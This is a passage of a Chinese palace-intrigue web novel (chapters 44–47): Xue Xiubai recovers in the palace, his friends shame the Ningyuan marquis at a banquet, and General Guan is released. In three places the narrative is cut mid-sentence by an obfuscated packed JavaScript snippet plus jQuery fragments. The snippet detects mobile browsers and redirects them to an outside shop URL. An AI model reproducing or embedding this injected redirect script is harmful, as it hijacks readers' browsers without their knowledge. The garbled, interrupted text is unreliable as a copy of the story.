她说着,小手微微从袖中探出几分,白玉柔夷,润如羊脂,果真在中指的位置有一粉色的茧子。 不知为何,她总觉得刚醒过来的长陵,似乎又成了上京城那个对人不假辞色的贵公子,而不是她的…… 啊呸呸,她想什么呢! 关月鸢暗啐了自己一声,小脸一红,匆匆底下脑袋道:“对不起,都怪我任性,才害你成了这个样子。” 她说完,空气再次安静了片刻,紧接着她听见少年嗓音缓缓,“你过来。” 关月鸢头脑空白了一瞬,呆呆上前了几步,还没来得及反应,就被少年微凉的指尖触碰到她手上的薄茧。 “还疼吗?” “不……不疼。”她结巴道。 两人如今离得近极了,关月鸢甚至能看到长陵的胸膛,随着呼吸微微起伏着,忽然,少年勾了一下唇角,露出了笑来。 “若不是你,我可能在山上就被歹人捉住了,还要多谢你的救命之恩。” “不……客气!”关月鸢也下意识扬起笑脸,只不过略微有些拘谨,竟显得有了几分娴静淑女的气质。 在家拘了两日,倒是变得沉稳了,可也没了之前的活泼。 总归有他护着,闹腾点也罢。 薛岫白收回手,缓缓靠回垫子上,垂下眼正待开口,这时,李同光敲门将一碗中药送了进来。 “小侯爷,皇上叫奴才来给您送药。” 说罢,将一碗黑糊糊的药放在了床边的案几之上。 “先放着,我一会儿喝。”薛岫白看见了装药的碗,眼角抽了抽,不动声色的对李同光说。 那碗海量,上宽下窄足足用两只手才能捧起来,不像是碗倒像是盆。 这可比太子殿下喝的,还要唬人多了! 却不想,李同光像是早就料到了他的反应,恭敬开口,“这是奴专门晾温了才拿过来的,太子殿下说了,要亲眼看着小侯爷喝干净才能离开。” 薛岫白太阳穴抽了两下,表情一下子不淡定了,他还想再说些什么,试图拒绝这碗药。 一旁关月鸢见他不想喝药,也急了,“长陵要喝药,才能好得快!” 说着,她亲自端过药碗,眼巴巴捧到他面前,“快喝吧,你伤得这般重,若是不喝,留下后遗症可怎么好。” 迫在眉睫,又不能说出来心里的苦,薛岫白只好端起药碗试探性的喝了。 咕咚咕咚的就是几口,入口苦涩,可药量却不见下降。 薛岫白抬眼看见面前二人带着关切的眼神,又喝了两口,依旧只浅浅的下去了一层,忍不住叹了声气。 “可是苦着了?”关月鸢这才想起来自己随身的荷包里似乎带了杏干。 这杏干一看就是李秀娘的手艺,一杏子分三瓣裹上糖粉再晒干,入口便是香甜。 薛岫白刚将药喝完,嘴中就被人眼疾手快塞了一块杏干。 他动作微微一顿,才慢慢咀嚼起杏干的滋味来。 他一向不爱吃甜,可今日这杏干的味道,他却觉得甜得恰到好处,足以回味一天。 “既然小侯爷将药喝完了,奴这就去复命了。” 李同光含笑退下,走至门口时,听到关月鸢小声感叹了一句,“皇上对长陵可真好!” 薛岫白自然也挺得清楚,不用旁人说,他心里也知。 今日他刚一苏醒,便察觉到这屋子的布置像是格外用了心。 其他人可能不知道奉平殿的意义,但别人可都知晓,连后妃都不能踏入的大殿,宣帝直接开辟出来一间修养身心的卧室,摆件有些是幼时他在宫中的玩物,有些却是出自长公主府中的老物事。 譬如挂在墙上的那柄小木剑,是他幼时练武的央着他皇伯伯送他的,乃宣帝亲手所刻,木柄上的红线则是长公主亲自系上的,这样想来他儿时也曾幸福过的…… 少年想着,目光不由投向窗棱之外的天空,他的思维忽然跳跃了几分,记得数年前,宣帝曾在他面前说过:长陵贵不可言,可比肩皇子。 现在想来,或许他的亲生父亲,已眼在天边,近在眼前! 这世上,除了长公主,对他第二好的人,便是皇上了…… 这般想来,太子殿下平日也对他极好,因着皇上偏爱,他与那几位皇子,哪个不是从小一起玩闹着长大,后来回了宁远侯府,因着与皇子来往过密,不讨侯夫人的喜欢,渐渐便少了来往。 可如今想来,自己真是蠢笨得可以! 既然如此,无论皇上因何缘由任他流落在外。 他困于宁远侯府的亲缘,该做个了断了! 这时外面有些响动,殿门被人径直推开,门外丫鬟跪了一地。 没等两人反应过来,就听一道娇蛮的声音响起,“你这个乡下丫头,来这里作甚?” 嘉和公主一身华服,脑袋上还带着一只硕大的海棠花,半月不见,却是更加美艳极了。 “嘉和?” 薛岫白闻言,脸色一沉,他却不知嘉和竟敢这般称呼她…… “薛哥哥!”嘉和一时不察,竟然在薛岫白面前嚷嚷出来对关月鸢的称呼。 果真是气忘了,若不是她母妃给她传信,说小侯爷醒了,她不过是想打扮打扮自己,以最好的容貌去见心上人。 没想到,就这么短短的功夫,竟然有人比她还早,还是她一直瞧不上的土包子。 被旁人抢了先,一时气愤才说错了话。 “还不向宜兴郡主道歉。”薛岫白往日虽知嘉和娇纵,可如今他也算是嘉和的兄长,自然有教育妹妹的职责。 “薛哥哥!我才不,她怎配……”嘉和见薛岫白竟毫不犹豫帮着宜兴说话,一时气急,将手中的食盒扔在了一旁的桌上。 食盒精美有两层高,想来里面也装着可口的佳肴,眼瞅着食盒盖子被晃的有些不稳,若是掉到地上也有点可惜。 “不用了,我正好还有事,就先告辞了。”关月鸢却没有与嘉和斗嘴的心思,她顺手扶了一把歪掉的食盒,在嘉和的注视下直接转身离开。 * “太子,你怎么看?”宣帝用手轻敲桌面,桌面上赫然放着两块石头。 拼到一起勉强可以看出两个字‘与天’,石头的皮壳松软,字也不甚清晰,透露出淡淡的阴谋气息。 “父皇不必忧心,出了这事背后之人定然比我们更着急。” “哦,你心里可有底?” “不过是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008156|129385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王李勾钱那四家搞出来的小把戏,王家养财,李家善武,勾家出诡兵,钱家利学士。这次的事情,倒像是他的手笔,狠毒绝种。”太子压了话头又道:“现如今要紧的还是,运出去的那批铁矿有多少,又运到了何处。” 他一口气说完,用茶水压了一下嗓子的痒意。 “哼,若不是老三那个笨蛋,竟然在眼皮子底下让人跑了,朕给他的可是军队,就算围山一寸一寸的去寻,哪能叫人跑掉!”宣帝是真的生气,往日老三也算是机灵,这次可倒好,将背后捣鬼之人放走了! “三弟性情至纯,与长陵又是一起长大,自然担忧,父皇不是已经罚了他。” 此时门外声响,李同光带着笑意进了门,“皇上,殿下,小侯爷将补药喝完了,奴来回话。” “哦?一滴不剩?” 太子坐在椅子上突然听到这个消息,嘴角扬起一抹笑,像只得了逞的猫咪。 李同光点了点头,像是回忆刚刚的场景,隐了笑意,回道:“是,当着宜兴郡主的面,一下子就喝了个干净。” 太子笑的开心,长陵往日总是装成一副老成的样子,让人忍不住想要逗弄两下,这次他是看准了宜兴在场,这才让薛岫白喝下了一缸子的补药。 虽说苦了点,但却是大补元气的方子,对长陵只有益处而无害。 “你呀你,若是长陵生了气,看你怎么办。”皇上倒是习惯了,笑着摇了摇头。 “自然如此,父皇将关将军放出来吧,刑部侍郎成天来我这里哭,说是刑部容不下将军这座大佛。” “哼,应该再关他两日,叫他整日没皮没脸的瞎胡混日子,这两日你没见丞相这两日心情极好,朕这朝堂难得如此和平。” “丞相与将军向来不和,这次又在水利方面立了功,他那弟子研究的水坝图稿是真的聪慧万分。” 太子也看过水坝的图谱,堵不若疏,将大河上游建立之字形回廊,利用水流冲刷来回的轨迹,倒是展现出极大的用处。 “自然,有此能人,是我大梁的运气。不过这人既不要奖赏,也不求官职,朕不知还能赏他什么。” 宣帝本想将人提拔至工部,也算是知人善任,可竟然被拒绝了。 说是无功名在身,不堪高位。 “听丞相的意思,此人一心想要考取功名,父皇不必担忧,只等着看科举结果,若是榜上有名就将此次功劳一并算上便可。” 太子与皇上正说着话,门外突然进来一名内侍,附在李同光耳边说了两句话。 李同光听完了,才出言道:“皇上,嘉和公主想来是关心小侯爷的身体,现在已经到了。” 李同光与宣帝有着二十多年的相处,也算是刀锋剑雨同皇上闯过来的,说是最了解宣帝之人一点都不为过。 他自是知道,宣帝清楚嘉和喜欢小侯爷,便有意给足了机会,希望两人能凑个姻缘出来,若不是皇上点了头,贵妃怎么会得到小侯爷清醒的消息。 “父皇真想将嘉和许配给长陵?儿臣瞧着长陵像是对旁人上了心。”太子意有所指道。 宣帝却只当没听懂太子语中之意,他皇家公主国色天香,能比不过那莽夫的闺女?长陵如今只是年纪小,等他再大些便晓得了。 “他们年纪还小,感情多培养培养自然就有了,朕与你母后从前也是这般……” 那边关月鸢还未出殿门,就被一宫女打扮的女子喊住,“宜兴郡主,太子殿下唤奴婢来接你。” 听见这熟悉的声音,关月鸢浑身一僵,她慌忙抬眼,泪珠猝不及防落了下来。 “小梅……” 45. 第 45 章 一身嫩黄色对襟衣衫,上面只简单的绣了些云纹,是宫中常见的宫女着装样式。 她慢慢抬起头来,面容消瘦许多,眼中还带着一丝淡然与悲悯。 “郡主,请跟奴婢走。”小梅说完,对着关月鸢弯腰行了一礼。 关月鸢下意识就要制止,她上前将小梅的手臂握住,可刚碰到小梅的手,她心里便是一惊。 小梅的手臂极细,竟不足一握,关月鸢眼泪一滴一滴的往下落,“小梅,你还好吗?” 手指粗糙带着血痂,往常小梅是最爱美的,每日都要梳洗头发在编个辫子将山边的野花插在头发上,远远望去都是打眼的漂亮姑娘。 可如今…… 小梅见关月鸢哭的不能自己,叹了声气抬手将关月鸢的眼泪抹去,拉着她往宫外走,“大囡莫哭了,我好得很,太子妃良善,跟在她身边我过得很好。” “不如你跟着我回去将军府吧,我爹娘很好,我去给他们说让他们收你为义女,这样你就真成了我的姐姐。”关月鸢突然心思一动,连忙问。 小梅一听,心里不免有些感动,可事情又哪有这么简单,朱门高墙深宫冷,她这一月来见过太多人性的凉薄,况且关将军还被关在牢里,自顾不暇。 她摇了摇头,许是怕关月鸢哭的愈凶,开口安慰,“你不过回去了半年,怎还多愁善感起来了,以前那磕了碰了都不哭,还要上树掏鸟蛋的大囡去哪里了?” 见关月鸢眼角通红,撇着嘴直勾勾的看着她,小梅叹了口气解释,“如今这个世道能靠自己生活下来已经不错了,太子妃看重我,再过上几日就会推荐我入尚宫局,如果真有幸被选上成为一名女官,大囡难道不为我开心吗?况且将军与夫人是你的亲爹娘,我也有自己的爹娘,但你依旧是我的妹妹不是吗?” “小梅姐姐……”关月鸢听懂了小梅的话,她要凭借自己的能力站在众人之中,在这吃人的社会里闯出去给天上的婶子与田叔看。 若是她早一些将小梅一家接过来,是不是就不会发生这些事? 已经走过了几个殿门,小梅将关月鸢送到了宫门前,她自知如今已不是自由身,便送到这儿吧,日后还可以再见。 她站在宫门内,关月鸢站在宫门之外,朱红色大门缓缓关上,只听关月鸢突然道:“小梅姐姐,对不起,你会怨我吗?” “不怨。”她笑着摇了摇头,宫门最终在眼前合上了。 或许她曾经是怨的,不是怨关月鸢,是怨所有人,怨天道不公,恨王状不死,明明他才是最应该去死的人,她怨官皇城脚下为何会发生这样恶劣的事,甚至还怨恨为何太子不能早一点找到她。 可后来她清醒了,原本就不是卑劣之人,只不过是找到一个发泄口来缓解自己痛失双亲的痛苦罢了。 更何况,她与大囡都是这件事的受害者,她真正该恨的,该是她们共同的敌人才对! * “长陵,长陵!”听说薛岫白已经清醒并无大碍了,被圈在宫中的商宫雀早就按耐不住,跑到了奉平殿,还未进门,张口就喊。 这时,门突然从内侧被推开,若不是他闪得快,鼻尖就要与门板来个紧密接触。 “你这……”怕不是某个不灵巧的下人,这般莽撞,商宫雀刚要张口,就见到一个身影飘忽而出,这不是嘉和吗! 嘉和眼圈通红,在门口见到他,匆匆行了一礼扭头就跑。 一副委屈的不行的模样。 商宫雀惊讶,他这妹妹的心思好懂,就是喜欢薛岫白,可总也在薛岫白那边碰壁。 你说这分明就是个水灵灵的大美人,长陵竟一直以来都没半点反应! 真是奇了怪了。 这样想着,商宫雀踏进了房门,见薛岫白坐在床上,面色还好,不像是久病重愈之人,他便径直问道:“长陵,嘉和怎么了?” “不过是说了她两句……”薛岫白说着,端起热茶抿了一口,看向自己的好友,“你来作甚?” “瞧你这话说的,你受了伤,我自是来探病的。”商宫雀说完从桌上的食盒里拿出一块糕点,放到嘴里。 入嘴酥脆,像是有许多层的酥皮一层一层的将内里的莲蓉馅裹起来,一口下去满口留香。 商宫雀意犹未尽的将糕点吃完,这才想起来他的正经事,伸手就去拽薛岫白,“走,哥带你看戏走。” 他说着,拍了两下手叫出来两个仆从,指着床上的薛岫白道:“带着小侯爷咱们走。” 那两个仆人身手麻利,不待薛岫白反抗,一人抬腿,一人抗肩拽起薛岫白就往外走。 “商宫雀!”声音有些大,薛岫白只觉得头脑有些昏。 等他反应过来已经坐进了出宫的马车里。 车里还有一个人,见薛岫白进来连忙往他的方向挪了一挪,率先笑道:“长陵,一会儿可有好戏看!” 薛岫白还在蒙圈就见邢鹤眠凑了过来,他头下意识一撇,眉头拧得死紧,“你们要带我去哪?” 商宫雀也钻进了马车,听到他问,低笑了两声后,伸手在车壁上敲了两下,马车开始行进了。 “去宁远侯府。” 薛岫白:“???” “长陵难道不想参加一下你那弟弟的宴席?” 邢鹤眠坐在一旁,皮笑肉不笑的说道。 这两人摆明了是去找茬的,若是平日薛岫白定会拒绝,照顾宁远侯府在外的脸面。 可如今他不想这样了。 宁远侯府的脸面同他有何关系? 尤其是昏迷了这几日,薛岫白走马灯似的过了一遍他从小的经历。 心里已是对宁远侯府没了半点指望。 商宫雀与邢鹤眠二人相互对视了一番,眼里都是不可置信,往日也不是没有这种情况发生,可每次都被薛岫白拦了下来。 看来长陵这次真是转了性子! 侯府世子重伤未愈送入宫中修养,宁远侯府中竟然开办了酒席,也不怕众人笑话! “长陵,你且看着我们替你出头!”邢鹤眠打包票一般拍了拍胸脯。 然后就去扒薛岫白的衣服。 薛岫白大惊,连忙拽紧了衣服,“你干什么?” “自然是换一件衣服,瞧你现在这副模样,哪里像是重伤之人……” * 宁远侯府好大的排面,从街头就缠了红绸直到大门口,不知道的还以为谁家在娶亲。 薛岫白三人坐在马车中,透过车窗往外看,此时正是晌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025119|129385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 午时分,各家接了请帖的人纷纷上门。 但大多品阶不高,看了半天,最高品级的不过一个四品侍中郎。 也是,若不是沾了薛岫白的光,薛长意的侯爵之位早都被剥夺了,可惜里面的人却不懂,生是将宝玉像对待鱼目一般胡乱丢弃。 践踏真心之人,该吞千万根银针。 时候差不多了,此时薛岫白着白衣虽矜贵但更显得面目颜色病态,邢鹤眠生怕不像,愣是在薛岫白面上又扑了两层粉,将他面上的气血压了下去,唇瓣色白干裂,一副不久于人世的样子。 商宫雀与邢鹤眠满意极了,招手命仆人抬了一座木轿子。 说是木轿子,其实就是一张木椅下面架了四根柱子,方便人抬,外无壁通常是民家所用。给工人两文钱就能被抬着从城东到城西。 这样最能显示出薛岫白凄惨的样子了,尤其是待薛岫白‘羸弱’的往轿上一坐,面色惨白,邢鹤眠恨不得哭上两声,以示悲伤。 “长陵,你只管好好坐着,剩下的看我俩表现。” 商宫雀将手中的折扇塞到腰带中,凑近薛岫白说完,就带着薛岫白大步往宁远侯门口走去。 门外迎客的是侯夫人从娘家带的人,以前也就是一个管事儿,如今确成为了侯府的管家。 一股子商户不入流的气质,眼高于顶那些没到五品的官员亲属甚至得不到他一个眼神。 直到商宫雀走到了他的面前,他都懒得掀起眼皮瞧个清楚,只阖眼道:“进门呈递贺礼,五品之上右拐,五品之下自便。” 商宫雀一脚踢了上去,怒骂,“睁开你的狗眼看清楚。” 猛的被踢了一脚,管家正要生气掀开眼皮一看,差点没昏死过去。 “四皇子殿下……” 管家往后看去,只见自家世子躺在躺椅上,面色煞白,进气多出气少的样子,魂儿都要吓没了。 “小侯爷!您这……这……” “世子为父皇分忧如今身受重伤,性命垂危,本皇子亲自将世子送回宁远侯府,可宁远侯倒好,不关心自家世子,竟然大办宴席过生辰宴!” 眼见周围百姓越聚越多,商宫雀说话声音更大了,“宁远侯何在?本皇子倒要看看,世子原在侯府竟然是这般待遇。” 说完,邢鹤眠接到信息,猛的掐了一把大腿,嗷的一声扑在了薛岫白身上,嚎啕大哭,“长陵,你我还未饮酒追醉,你怎敢先我一步……” 然后在众人皆震惊的情况下,三人径直往宁远侯府里创。 商宫雀打头,无人敢拦。 走到庭院,众人一惊纷纷向皇子行大礼。李钰珏连忙上前,她一身红色华贵衣装,连衣角都用金丝串着珍珠绣成花的样式,雍容华贵的带着一排金钗,此时却显得可笑极了。 “四皇子前来何事?此处是女眷聚集之地,若是有事找侯爷,移步书房可好?” “本皇子再问一次,薛长意何在!” 这时,众人也看到了商宫雀身后的薛岫白,虽在病中,眉间一点红晕更显美色,他微微低着头,像是没有劲儿一般靠在木质把手上,惹人心生怜悯。 众人被薛岫白这副模样震惊了,未等李钰珏反应过来,从东边的厢房中突然传出一声惊呼! 46. 第 46 章 “出了何事?” 李钰珏心中烦闷,这边五皇子咄咄逼人让她下不来台,那边又闹出动静惹得众人纷纷议论。 还没来得及唤下人去探,就见一名小丫鬟流着眼泪跑过来,“扑通”一声跪在了一贵妇人面前。 商宫雀打眼一看,这贵妇人便是门下侍中郎的夫人,正四品的品级虽不高,可她有一大女儿,得了宣平侯的青眼求皇上赐婚,好一段爱情佳话,故在这一众人群中是拔尖的了。 “你跪在这里做什么?云萝在哪?”那夫人神色焦急,自己二女儿的贴身婢女突然这般模样,只有可能是出了事情。 “小姐……小姐落水了,夫人快去。”浮云一个劲儿的磕头,嘴中不断喊着‘救命’。 什么! 顾不上许多,侍中郎夫人连忙往出事的方向赶去,众人也紧随其后。 当时为了风雅,李钰珏花费千金在庭院中挖了个湖,湖中栽植着各样的水生植物,倒是一处别致的景观。 待众人赶往湖边,那名小姐已被人救起了。 薛二郎手中环抱着一名女郎,旁边的小厮撑着一根竹竿的将他们拉扯上岸。 “你这弟弟倒是好算计。”邢鹤眠三人也随着众人前来看热闹,他眼瞅着,便忍不住凑近薛岫白耳边说。 这门下侍中郎原是江杭一代的知府,因政绩出色不过三年就升迁入上京,得圣上重用,只等侍郎退位就升职门下侍郎了,入京当日自家大闺女就被宣平侯瞅上了,如今也是新一代的矜贵人家。 侍中郎还有一女,年龄颇小,不知有多少人家瞅着这幢好亲事,如今竟被薛岷白抢到了手。 名叫云萝的少女被水呛的昏了过去,侍中郎夫人扑在她身上抹着眼泪,而薛岷白则被下人披上了件外袍。 瞧见这一幕,侍中郎夫人更是恨得牙痒痒,怒骂道“郎中呢,快叫郎中!” 她话音刚落,只见少女悠悠转醒,一瞧见母亲痛哭流涕的一头扎进侍中郎夫人怀里。 "还愣着作甚,赶紧带夫人和小姐去荷香坊,再叫府医来。"李钰珏主持着大局,眼里却透露着算计。 荷香坊就建在湖边,不过几步之遥,侍中郎夫人先忍了怒气,将自己家的闺女扶起,众人原本不再作陪,眼瞅着小姐没事,便都歇了心思。 不由感叹,四品侍中郎倒是又攀上了侯府的一门好姻缘。 可谁知这云萝是出了名的娴静温良,侍中郎藏了许久日后是要送进宫中去的,这种身份就是当个太子侧妃也极有可能! 可耐不住自己女儿将心放在了小侯爷身上,央了许久想要来宁远侯府瞧上一眼,如今却被小侯爷的弟弟搂抱在怀,侍中郎夫人恨不得生撕了李钰珏! 刚到荷香房门外,侍女还未推门,便只听里面传来一阵男女动静。 李钰珏自然也听见了,定是某个侍从与丫鬟耐不住寂寞竟然跑到了这里寻欢,她面露阴狠,立刻想要将侍中郎夫人领着去往别处,压下这桩子丑事。 可侍中郎夫人哪里忍得住这气,她是巴不得跟宁远侯夫人撕破脸的,整个京城里谁人不知,这薛家二公子和小侯爷可是云里泥里的区别! “里面是何人?”侍中郎夫人轻喝了一声,飞快给手下的侍女使眼色。 那侍女也是个机灵的,抬手就大力将门推了开,众人秉着吃瓜的心态向里面瞧去。 “天啊,是宁远侯。”一位夫人惊讶出声,后知后觉的捂住了嘴。 薛岫白在一旁躺着,听到着抬起眼皮看了商宫雀与邢鹤眠一眼,那二人连忙将他眼睛遮住,“你可别起来,不然咱们不好发挥。” 那边宁远侯尽力的想遮掩怀中之人,可眼尖的大伙都看清了,他怀中之人正是侯夫人李钰珏的侄女,江芊雪。 那雪白的肩头直直的落在众人面前,侯爷怒骂一声顾不得自己,只顾着给美人护在怀里。 李钰珏一口银牙差点咬碎,好个狐媚子,竟然勾搭了她的相公。 原本太子宴会她已经给过江芊雪勾搭薛岫白的机会,可江芊雪没本事,叫五皇子送了回来,她本意是将江芊雪送回江家,可没成想就这么短短的日子,这个狐媚子竟然勾搭上了她相公,还被众人瞧了个清楚。 她手中捏了个珠串,指甲生生嵌进肉里,可还得换忍着,不能叫旁人小瞧了去。 不待她开口,侍中郎夫人便道:“侯府家风真是叫我开了眼界,我们可高攀不上宁远侯府,各位见谅,今日我身体不适,带着孩子先行一步。” 说罢,不等李钰珏解释,领着女儿就走,竟是连一丝遮掩也无。 她这话众人都听得清楚,别拿着落水一事就要求娶,我家还高攀不上你家,但凡宁远侯夫人还要点脸面,二人的婚事都是不好再提了。 李钰珏来不及去追,这可是她寻遍上京给他儿子寻的好亲家,若是两家结亲,那世子之位也是能拼上一把的! 还没反应过来,一盏茶壶从门内擦着李钰珏的脸砸了出来,碎片飞溅。 “还愣着做甚,把门关上!”宁远侯怒骂。 “侯爷好大的威风。”商宫雀将扇子放在脸颊处,开口。 薛长意原本正在生气,想瞅瞅是那个不长眼的敢这样对他说话,瞧清楚了后连忙起身试图将身上的衣服穿戴整齐,“五……皇子,殿下。” “本皇子第一时间就将世子受伤的消息传入侯府中,世子垂危,硬生生撑了好几日,就是不见宁远侯,本皇子这才来叨扰,没想到竟然看到了一场大戏,不顾亲子,还白日寻欢,有什么事你去跟父皇说罢!” 说罢,扭头就走。 薛长意一听这话,脸色吓得煞白,他拽着裤子就要去追五皇子,可就在此时,原本闭着眼的薛岫白,睁开了眼睛,眼神清淡,不带一丝情感。 他面无表情与宁远侯对视。 “我儿……岫白……”宁远侯骤然面对如此冷漠的目光,浑身顿时起了一层冷汗,他想解释什么,却半天想不开嘴。 最后薛岫白什么也没说,却又好似将话说尽了。 三人随即扬长而去。 江芊雪慌忙穿好了衣服跪在地上,李钰珏一个巴掌就扇了过去,“你个贱人,坏我儿好事,看我今日不打死你。” 言罢,又举起了一只手,将要下去的时候,被宁远侯一把抓住,“你堂堂侯夫人什么贱人的,不怕失了脸面!” “我失脸面?是你们将我的脸踩在地上,你说,你两是什么时候勾搭上的!” “我看上人用得着给你说?明日我就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049148|129385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要将芊雪纳进府里!”宁远侯说罢,匆匆转身出了府。 往日他对薛岫白惯会用些表面功夫,仗着那孩子从不向宫中告状,还会乖乖帮他掩饰,这两年便也渐渐懈怠了几分。 既然五皇子要告状,那他也得赶紧入宫跟皇上解释,不过想来也不会有什么大问题,毕竟他忠心耿耿了这么些年,没有功劳也有苦劳嘛! 见侯爷走了,江芊雪柔弱起身,伸手将头发撩在耳后,“姑母,哦不,该改口叫姐姐了。” 李钰珏气急,她伸手指向江芊雪,“你个贱蹄子,竟然敢这样同我说话。” “姐姐,你吓到我了。” 江芊雪抚了抚心脏的位置,正想说话,这时门外走进两名丫鬟,对着李钰珏行了礼,打断两人的对峙,“禀夫人,侯爷有令奴婢姐妹二人从今天起就跟着江姨娘了。” 这是什么,示威? 难不成薛长意还害怕她加害江芊雪不成! 李钰珏这时完全清醒了,她嘴角嘲讽骂道:“哼,薛岫白命不久矣,我儿自是下一任侯爷,想将我挤下去,你,配吗?” “姐姐这是说什么话,妹妹自然不敢,如此妹妹在这就先恭喜姐姐将世子之位拿捏在手了。” 江芊雪神色不变,语气竟真带了几分赞叹。 这一下子将李钰珏的狠话憋闷在胸中,上上不去,下下不来。 * “长陵,如何?”商宫雀一进马车,仰着一番笑脸冲薛岫白说。 “你干的?”薛岫白正用沾了水的手帕将面上的粉擦掉。 “自然,这女人有野心头脑又好,与宁远侯爷甚是相配,她既然当初敢设计你,如今我便成全她一个好姻缘,有何不可?” 不过是让那女子的丫鬟细说了几次,侯夫人的荣耀,又夸了她的容貌,那女子便动了心思。 他不过是顺水推舟,倒是没想到李钰珏竟然将目光打在了侍中郎女儿身上。 她到是好计谋,只不过侍中郎吃了这么大的亏,她可不一定能得偿所愿,干脆加一把火。 商宫雀与邢鹤眠对视一眼,双方皆看到了对方眼中的雀跃。 马车刚刚起步,马车外面传来一声痛呼,“小侯爷!” 声音凄厉,掀开帘子一看,原是桉树,他眼睛通红,眼皮子肿的像是核桃般大小,此时拉在马车的车辕处。 他护主不利,若是薛岫白出了什么事,他恨不得代他去死,可小侯爷早早的就入了皇宫养病,他只被太子问了两句却见不到自己家的主子,便独自返回了宁远侯府。 他年纪小,自小就跟着薛岫白,薛岫白待他也好,他整日哭,今日竟然从旁人口中听到,小侯爷命不久矣的话。 来不及找那人算账,桉树跑到湖边未见,紧赶慢赶的出了府就看见,皇家马车正准备起步,这里面定是小侯爷! 他一个猛子窜上前,灵活的像一只鱼,避开了侍卫紧紧抓住了车辕,要走带他一起走。 他不顾一切的喊,“主子!你可不能死啊!” 没成想,帘子一看,正和自家主子对上了眼。 他眼肿如杏,涕泪横流,而他的主子擦脸擦了一半,另一半隐没在阴影后,分明是一副生龙活虎的模样,神色却阴晴不定极了。 47. 第 47 章 两日后,未过午时,关绩抬脚进了将军府。 他面容并未见憔悴,也没受什么罪,可经历了这一遭多少还是瘦了点,腰带宽松需要再紧着一圈,双目却仍旧有神极了。 刚落轿,他人还未出,嗓音便洪亮的传了出来,“夫人何在?老夫可算是回来了!” 元娉婷刚一露面,就被那一双结实的臂膀抱起来转了两圈,“这么多人看着呢!” 她面色通红,眼中有泪有笑,心中只觉得庆幸,若不是天子英明从不怀疑他夫君,哪里能这么容易就放出来! 关绩将元娉婷放下,扭头瞅见关月鸢紧跟在元娉婷身后,也眼泪汪汪的瞅着自己,便将她单手抄了起来,举得极高,“哇哈哈哈哈,多日不见,闺女又长高了不少,模样也更水灵了!” “爹爹,爹爹,还有我还有我!” 关溧阳瞅着大家都高兴,也巴巴跑上前想要抱。 却见关绩径直跨过了张开手的关潥阳,一手夫人一手闺女,志得意满得进了大门。 关潥阳如今已经瘦了些,面容倒是露出了些少年应有的好相貌,可眼见着他爹看都未看他一眼,生气得直跺脚,却仍跟着进了屋。 将军府一早就收到了消息,今日百姓可以旁听御史台审讯,王状诬告镇国将军一案与平乐村屠村一案并审。 关月鸢闹着要去,被元娉婷与李秀娘禁在了家中,全家只派了梁衡前去观看。 等到关绩一回来,梁衡才对众人转达了今日的审判。 那王状被关了半月,少吃挨饿,又见识了许多刑讯刑法,早都磨淡了性子。 早知道要被关上这么久,当初他说什么也不会同意! 所以一上场,惊堂案一拍便招了。 他只说有一男子给他百金让他将脏水泼到将军身上,宜兴郡主到底真实身份如何他也不清楚,只是到了此时,还不忘将李秀娘拉下水,说这都是李秀娘的主意,他是被李秀娘蛊惑了! 直到小梅出庭作证,才证明关月鸢确实为镇国将军之女,王状本就是一副奸诈之人的相貌,况且他所说的什么坟,里面分明就没有埋过人! 御史大夫左承礼当庭就要将王状拉下去,滚钉板,若是没死,便再打一百大板,在城中闹市执行,也让大家伙看看,诬告朝廷命官的下场。 王状见状破声大骂,直言小梅是他不要的破鞋,污秽之词落在了每一个人的耳朵里,小梅脸色煞白,左承礼见状命人将王状的嘴掩上,拉了出去,可该说的,不该说的都被传了出去。 小梅坐如针毡,众人刺在她身上的目光像把把刀子,拉着她身上的血肉。 见她面色苍白,便匆匆被人扶了下去。 接着关绩被放出刑部大牢,虎头作为屠杀平乐村之人与其余匪徒被判砍头,三日后执行。 虎头则在审讯过程中供出了幕后之人——土坛城的九品芝麻官。 只说之前芝麻官曾想贿赂镇国将军,将军没收,便被记恨上了,而龙虎寨又被关绩抓了大半,两方人马一合计就做出来看屠村之事。 那名官员早就被三皇子捉拿在案,从家中搜刮出整整一屋子的金子,就连墙壁与房顶皆藏金块,美妾二十房,房产无数。众人一听,纷纷破口大骂,最后被判凌迟,秋后执行。 梁衡见大家听得认真,便捡了重要的说清楚,有意省去了小梅的事,怕自家小姐为此忧心。 关月鸢听的认真,可听到后面……土坛城的九品芝麻官? 